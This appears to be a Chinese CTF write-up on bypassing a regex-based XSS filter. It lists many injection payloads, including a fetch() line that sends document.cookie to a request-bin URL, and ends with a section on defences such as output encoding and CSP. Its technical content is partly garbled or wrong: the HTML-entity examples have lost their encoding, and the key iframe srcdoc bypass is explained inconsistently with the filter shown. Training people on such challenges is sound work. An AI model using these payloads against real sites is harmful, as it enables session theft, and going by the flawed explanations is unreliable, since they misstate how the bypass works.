1. 项目概述:一次典型的XSS实战解题复盘
最近在复盘一些经典的Web安全挑战,正好重新走了一遍test.ctf8这个靶场里的XSS注入题。这道题虽然出自一个老牌CTF练习平台,但其涉及的绕过思路和防御机制,在今天很多实际的渗透测试和代码审计场景中依然有很强的参考价值。它不是那种让你直接弹个alert(1)就完事的简单题,而是需要你一步步理解前端的过滤逻辑、尝试多种Payload构造方式,最终才能拿到Key或完成指定操作。对于刚接触安全的新手来说,这是一个非常好的、从“知道XSS”到“理解XSS如何发生与被防御”的过渡练习;对于有经验的老手,也能借此温故知新,梳理一下那些容易被忽略的细节和思维盲区。
我把自己解题的完整过程、踩过的坑以及背后的原理都记录了下来。你会发现,解题的关键往往不在于知道最多的Payload,而在于能否静下心来,像开发者一样去阅读前端的JavaScript代码,理解它到底在“防”什么,以及哪里“防”得不够彻底。下面,我们就从靶场环境搭建开始,一步步拆解这道题。
2. 解题环境与目标分析
2.1 靶场环境搭建与访问
test.ctf8通常是一个本地或内网搭建的CTF训练平台。为了复现,我使用了Docker快速部署了一个类似的包含经典XSS挑战的Web环境。这里不推荐任何具体的镜像,但你可以搜索“DVWA”、“XSS Labs”或“CTFd with challenges”这类关键词,找到包含类似题目的集成环境。关键是要有一个能安全、合法进行渗透测试练习的沙箱。
访问题目页面后,典型的界面是一个简单的输入框,可能配有一些提交按钮,或者直接就是一个搜索框、留言板。题目描述往往会给出明确的目标,例如:“注入XSS,弹出对话框显示document.cookie”或“窃取当前页面的Cookie并发送到你的服务器”。明确目标至关重要,它决定了你Payload的最终形态——是只需要证明可执行(Proof of Concept),还是需要完成一次真正的攻击链(如数据窃取)。
2.2 前端代码初步审计
遇到任何输入点,我的第一反应永远是:F12打开开发者工具。这不是一句空话。你需要重点关注两个地方:
- 网络(Network)标签页:观察提交输入时,浏览器向服务器发送了什么请求(GET/POST?参数名是什么?),以及服务器返回了什么响应。有时候过滤发生在后端,响应里你的输入已经被修改了。
- 元素(Elements)与源代码(Sources)标签页:查看输入最终被嵌入到了HTML的哪个位置。是被放在
<div>标签内部,还是被写入了<script>标签,或是成了某个HTML标签的属性(如<input value=“你的输入”>)?同时,务必检查页面是否引入了额外的JavaScript文件来进行输入过滤或净化(Sanitization)。
以这道题为例,查看页面源码,可能会发现一段关键的过滤函数,例如:
function filter(input) { let filtered = input.replace(/script/gi, ''); filtered = filtered.replace(/on\w+=/gi, ''); return filtered; }这段代码就是一个非常典型的前端过滤逻辑。它做了两件事:
replace(/script/gi, ''):不区分大小写地删除所有“script”字符串。replace(/on\w+=/gi, ''):删除所有以“on”开头的事件处理器属性(如onclick,onerror,onload)。
很多新手看到这里就懵了,觉得<script>标签和事件处理器都用不了,是不是无解了?其实这正是题目的精妙之处,它引导你去思考:除了<script>和on事件,还有哪些方法可以执行JavaScript?
3. 核心绕过思路与Payload构造
3.1 利用HTML标签与属性执行JS
当<script>标签被过滤,我们需要转向其他可以承载JavaScript代码的HTML标签。这里有几个经典的“备选方案”:
<img>标签:利用其onerror属性已被过滤,但src属性可以指向一个无效的URL,从而触发onerror执行JS。但这里onerror被过滤了,所以这条路暂时不通。不过,<img>还有一个很少被过滤的向量:<img src=1 onerror=alert(1)>。如果过滤函数不完善,可能只过滤了onerror=但没过滤掉onerror =(注意空格)。我们可以尝试<img src=1 onerror =alert(1)>。<svg>标签:SVG(可缩放矢量图形)本身是XML,它可以内嵌<script>标签。但注意,如果过滤函数是针对整个输入字符串删除“script”子串,那么<svg><script>alert(1)</script></svg>也会被破坏。然而,我们可以利用SVG的事件处理器,这些处理器名称可能不在on\w+=的黑名单里,或者写法可以变形。例如:<svg onload=alert(1)>。onload同样以on开头,但关键在于过滤正则/on\w+=/gi是否匹配。onload=是匹配的,但如果写成<svg/onload=alert(1)>呢?这里的/可能会干扰正则的匹配。<body>、<input>、<details>等标签:它们都支持各种事件处理器。思路是不断尝试那些可能被遗漏的、或可通过特殊写法绕过匹配的事件。
实操心得:在测试时,不要一次性输入复杂的Payload。应采用“步步为营”法:先输入一个普通文本(如
test),看它被原样输出在哪里。然后输入一个简单标签<b>test</b>,看标签是否被渲染(加粗)。如果被渲染,说明HTML解析是生效的。接着再尝试<img src=x>,看图片是否加载(或触发404)。最后才注入事件onerror=alert(1)。每一步都通过开发者工具观察DOM的变化,理解过滤发生的具体环节。
3.2 大小写、双写与编码绕过
这是对抗简单字符串替换过滤的经典手法。
- 大小写绕过:如果过滤是
/script/gi(i标志表示不区分大小写),则大小写无效。但有些蹩脚的过滤可能只用/script/g。那么<ScRiPt>alert(1)</sCrIpT>就有可能绕过。 - 双写绕过:这是应对“删除一次”策略的妙招。假设过滤函数是
input.replace(‘script’, ‘’),它只删除第一次出现的“script”字符串。那么如果我们输入<scrscriptipt>alert(1)</scrscriptipt>,过滤后,中间的script被删除,剩下的部分正好组合成新的<script>和</script>!即:<scr[删除script]ipt>alert(1)</scr[删除script]ipt>-><script>alert(1)</script>。 - HTML实体编码:浏览器在解析HTML时,会先将实体编码解码。例如,
<代表<,>代表>。如果过滤是在解码前进行的字符串匹配,那么输入<script>alert(1)</script>,过滤函数找不到“script”这个字符串(因为它是s),但浏览器解码后却能正常执行。不过,如果输入点是在JavaScript字符串内部(例如var userInput = “你的输入”;),那么你需要用的是JavaScript的Unicode转义或字符串拼接绕过,而不是HTML实体。
3.3 利用JavaScript伪协议与事件处理器变形
当输入点出现在HTML标签的属性值时,例如<a href=“你的输入”>点击</a>,我们有了新的突破口。
javascript:伪协议:可以构造href=“javascript:alert(1)”。但注意,如果属性值被引号包裹,且过滤函数会检查javascript:关键词,可能需要变形,如利用HTML实体编码:href=“javascript:alert(1)”(:被编码)。或者利用URL编码:href=“java%0Ascript:alert(1)”(换行符%0A可能被忽略)。- 事件处理器的多种写法:过滤
on\w+=,我们能否不用等号?在某些HTML解析器中,属性值可以不用引号,且如果属性名后紧跟JavaScript代码,浏览器可能会将其作为值解析。例如:<img src=x onerror alert(1)>(缺少等号)。这不一定成功,但值得一试。另一种思路是,利用其他不被认为是“事件处理器”但能执行代码的属性。最经典的就是<img>标签的src属性结合iframe的srcdoc属性,但这道题更常见的终极解法是:
3.4 终极杀器:<iframe>与srcdoc属性
这是本题的一个关键考点。<iframe>标签的srcdoc属性,可以直接内嵌一段完整的HTML文档。而这段内嵌的HTML文档,其解析上下文(Parsing Context)是独立的。也就是说,外层页面设置的JavaScript过滤函数,很可能不会应用到srcdoc内部!
构造Payload如下:
<iframe srcdoc="<script>alert(1)</script>"></iframe>或者,为了更隐蔽:
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>为什么这样能绕过?因为过滤函数filter(input)通常只在服务器端返回数据后、浏览器渲染前,由页面主JavaScript脚本对你的原始输入执行。一旦你的输入被包裹在<iframe srcdoc=“...”>中,并且浏览器开始解析srcdoc的内容时,它是在一个全新的文档环境中解析引号内的字符串。外层的过滤逻辑已经执行完毕,它只看到了一段字符串“<script>alert(1)</script>”,并没有在字符串中匹配到<script>(因为过滤可能只针对顶级输入?这里需要看具体代码,但很多简单过滤确实如此)。而当srcdoc的内容被解析为HTML时,它就是一个全新的、未经过滤的文档了。
踩坑记录:在实际测试中,我最初写的Payload是
<iframe srcdoc=<script>alert(1)</script>></iframe>,缺少了srcdoc属性值两边的引号,导致解析失败。必须写成srcdoc=“<script>...”或srcdoc=‘<script>...’。此外,还要注意如果外层页面有CSP(内容安全策略)限制srcdoc的使用,此方法也会失效。但在这类基础CTF题中,通常不会设置这么严格的CSP。
4. 完整解题步骤实录
4.1 第一步:信息收集与输入点探测
- 打开题目页面,右键查看网页源代码。
- 搜索关键词如
filter、replace、innerHTML、document.write,找到处理用户输入的函数。 - 在控制台(Console)输入
console.log(filter.toString())(如果filter是全局函数),直接打印出过滤函数的源码,这是最准确的方式。 - 分析过滤逻辑:确认它过滤了哪些关键词(大小写敏感?),是替换为空还是转义?处理顺序如何?
4.2 第二步:构造初级Payload进行测试
根据过滤逻辑,尝试最简单的绕过。
- 情况A:过滤
<script>,但没过滤其他标签。尝试:<img src=x onerror=alert(1)>。如果onerror被过滤,尝试变形<img src=x oNerror=alert(1)>或<img src=x onerror =alert(1)>。 - 情况B:过滤了
on\w+=。尝试使用不带on的事件(很少),或转向其他执行方式,如<svg><script>alert(1)</script></svg>(赌双写或大小写绕过对script的过滤),或者<a href=javascript:alert(1)>点击</a>。 - 情况C:上述都失败。考虑是否输入点不在HTML上下文,而在JavaScript字符串中。例如页面代码为:
<script>var input = ‘用户输入’; document.write(‘<div>’ + input + ‘</div>’);</script>。这时,你需要闭合字符串和语句,例如输入’; alert(1);//,最终代码变为var input = ‘’; alert(1);//’; ...,从而执行alert(1)。这属于JavaScript上下文注入,与HTML注入手法不同。
4.3 第三步:高级绕过与<iframe srcdoc>利用
当常规标签和事件处理器都被封堵时,祭出<iframe srcdoc>。
- 构造Payload:
<iframe srcdoc=“<script>alert(document.domain)</script>”></iframe>。这里用document.domain是为了证明脚本在该域下执行,可以访问同源资源。 - 提交测试:将Payload输入提交。
- 观察结果:如果页面弹窗,显示当前域名,则证明注入成功,且JavaScript在正确的安全上下文中执行。
- 完成题目要求:如果题目要求窃取Cookie,则Payload需要将
document.cookie发送到你的服务器。注意:在真实环境或某些CTF设置中,你需要一个公网可接收请求的服务器。可以临时使用一些请求Bin服务(如requestbin.com或webhook.site),生成一个URL,构造Payload:<iframe srcdoc=“<script>fetch(‘https://你的请求Bin地址?c=’+document.cookie)</script>”></iframe>。这样,当Payload执行时,会向你的地址发送一个携带Cookie的GET请求。
4.4 第四步:验证与总结
成功弹窗或接收到Cookie后,解题并未结束。回到开发者工具,查看最终生成的DOM结构。理解你的输入是如何被过滤函数处理,又是如何被浏览器解析的。这能加深你对XSS成因和防御的理解。
5. 防御视角与实战启示
5.1 为什么这道题的防御是失败的?
我们从防御者角度复盘:
- 前端过滤不可靠:所有前端输入检查都可以被绕过(禁用JS、直接发送恶意请求)。安全规则必须在服务端严格执行。
- 黑名单思维局限:过滤函数试图列出所有“坏”的字符串(
script,on\w+=),但坏字符串的变体无穷无尽(编码、双写、新标签、新属性)。应该采用白名单思维,只允许已知安全的字符或标签。 - 上下文识别错误:防御者没有正确识别用户输入最终被使用的上下文。是HTML标签内?属性值里?还是JavaScript字符串中?不同的上下文需要不同的编码或转义方式。例如,放入HTML正文需转义
< > & “ ‘;放入HTML属性值需转义“ ‘以及确保属性被引号包裹;放入JavaScript字符串需进行Unicode转义等。 - 忽略了
srcdoc等危险属性:<iframe srcdoc>、<svg>、<math>等标签可以创建新的HTML解析上下文,可能绕过外层的净化逻辑。现代安全库(如DOMPurify)会默认不保留srcdoc属性,或者对其内容进行严格的递归净化。
5.2 正确的XSS防御姿势
对于开发者而言,应该:
- 输出编码(Escaping):根据数据将要放置的上下文(HTML、HTML属性、JavaScript、CSS、URL),使用经过严格测试的编码函数。不要自己写正则,使用成熟的库(如OWASP ESAPI、各种语言框架的内置函数)。
- 内容安全策略(CSP):在HTTP头中设置
Content-Security-Policy,明确告诉浏览器哪些资源(脚本、样式、图片等)可以加载和执行。例如,禁止内联JavaScript(‘unsafe-inline’),禁止eval,可以极大缓解XSS的影响。即使攻击者注入了脚本,浏览器也不会执行。 - 输入验证:在服务端,对输入的数据格式、长度、类型进行严格校验(例如,邮箱字段必须符合邮箱格式)。但验证不能替代输出编码。
- 使用安全框架/库:现代前端框架(如React, Vue, Angular)默认会对渲染到DOM中的数据进行转义。使用安全的DOM操作API(如
textContent代替innerHTML,setAttribute代替字符串拼接)。 - 避免危险的API:尽量避免使用
innerHTML、outerHTML、document.write()、eval()、setTimeout(string)等可以直接将字符串作为代码执行的API。如果必须使用,必须对输入进行严格的净化。
5.3 对安全研究者的启示
这道题虽然简单,但它是一个完整的“攻防思维训练”:
- 攻击面枚举:遇到一个输入点,要系统性地思考所有可能的注入上下文(HTML、属性、JS、CSS)。
- 分层测试:从简单到复杂,从常见到生僻,逐步测试过滤规则的强度。
- 理解底层原理:为什么
srcdoc能绕过?因为浏览器解析HTML的过程是分阶段的。为什么双写能绕过?因为字符串替换算法的特性。理解这些,才能创造出新的绕过方式,而不仅仅是记忆Payload。 - 工具辅助,但不依赖:可以使用Burp Suite、XSS Strike等工具进行模糊测试和Payload自动生成,但工具的结果需要人工验证和理解。手动审计代码永远是无可替代的核心能力。
通过这样一道题,我们不仅学会了一个技巧,更重要的的是建立了一套分析问题、解决问题的Web安全方法论。在真实世界中,漏洞往往就隐藏在那些看似严密的过滤规则的一丝缝隙里,而发现它,需要的是耐心、细心和对技术的深刻理解。